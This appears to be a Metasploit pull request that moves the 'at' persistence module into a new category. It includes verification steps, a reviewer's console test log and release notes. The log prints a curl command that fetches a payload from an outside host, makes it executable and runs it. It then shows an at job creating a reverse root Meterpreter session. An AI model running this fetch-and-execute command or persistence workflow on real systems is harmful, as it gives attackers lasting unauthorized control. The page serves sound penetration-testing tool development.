Modern persistence: at

[h00die]

Updates at_persistence to the new persistence mixin. Part of #20374

Verification

• Start msfconsole
• exploit the box somehow (ssh_login for instance)
• use exploit/multi/persistence/at
• set SESSION <id>
• exploit
• Verify persistence is created, and you get a new session if apt is run
• Verify cleanup works
• Document is updated and correct

[msutovsky-r7]

msf exploit(multi/persistence/at) > set session 1 
session => 1
msf exploit(multi/persistence/at) > check
[*] The target is not exploitable.  does not exist
msf exploit(multi/persistence/at) > set WritableDir /tmp
WritableDir => /tmp
msf exploit(multi/persistence/at) > check
[+] The target is vulnerable. at(1) confirmed to be usable as a persistence mechanism
msf exploit(multi/persistence/at) > run verbose=true 
[*] Command to run on remote host: curl -so ./KAuOUlHauQ http://192.168.3.7:8080/xjLe7cHOrd0bJcg1JEoaHQ;chmod +x ./KAuOUlHauQ;./KAuOUlHauQ&
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
msf exploit(multi/persistence/at) > 
[*] Fetch handler listening on 192.168.3.7:8080
[*] HTTP server started
[*] Adding resource /xjLe7cHOrd0bJcg1JEoaHQ
[*] Started reverse TCP handler on 192.168.3.7:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable. at(1) confirmed to be usable as a persistence mechanism
[*] Writing payload to /tmp/c91hblhURr
[*] Writing '/tmp/c91hblhURr' (104 bytes) ...
[*] Client 10.5.132.164 requested /xjLe7cHOrd0bJcg1JEoaHQ
[*] Sending payload to 10.5.132.164 (curl/7.81.0)
[+] at job created with id: commands
[*] Waiting up to sec for execution
[*] Meterpreter-compatible Cleanup RC file: /home/ms/.msf4/logs/persistence/10.5.132.164_20250912.1654/10.5.132.164_20250912.1654.rc
[*] Meterpreter session 2 opened (192.168.3.7:4444 -> 10.5.132.164:57680) at 2025-09-12 14:17:01 +0200

msf exploit(multi/persistence/at) > sessions 

Active sessions
===============

  Id  Name  Type                   Information          Connection
  --  ----  ----                   -----------          ----------
  1         meterpreter x64/linux  root @ 10.5.132.164  192.168.3.7:4242 -> 10.5.132.
                                                        164:45880 (10.5.132.164)
  2         meterpreter x64/linux  root @ 10.5.132.164  192.168.3.7:4444 -> 10.5.132.
                                                        164:57680 (10.5.132.164)

msf exploit(multi/persistence/at) > sessions 2
[*] Starting interaction with 2...

meterpreter > getuid
Server username: root

[msutovsky-r7]

Release Notes

This moves the at_persistence module into persistence category. The module now contains new expanded functionality for persistence modules.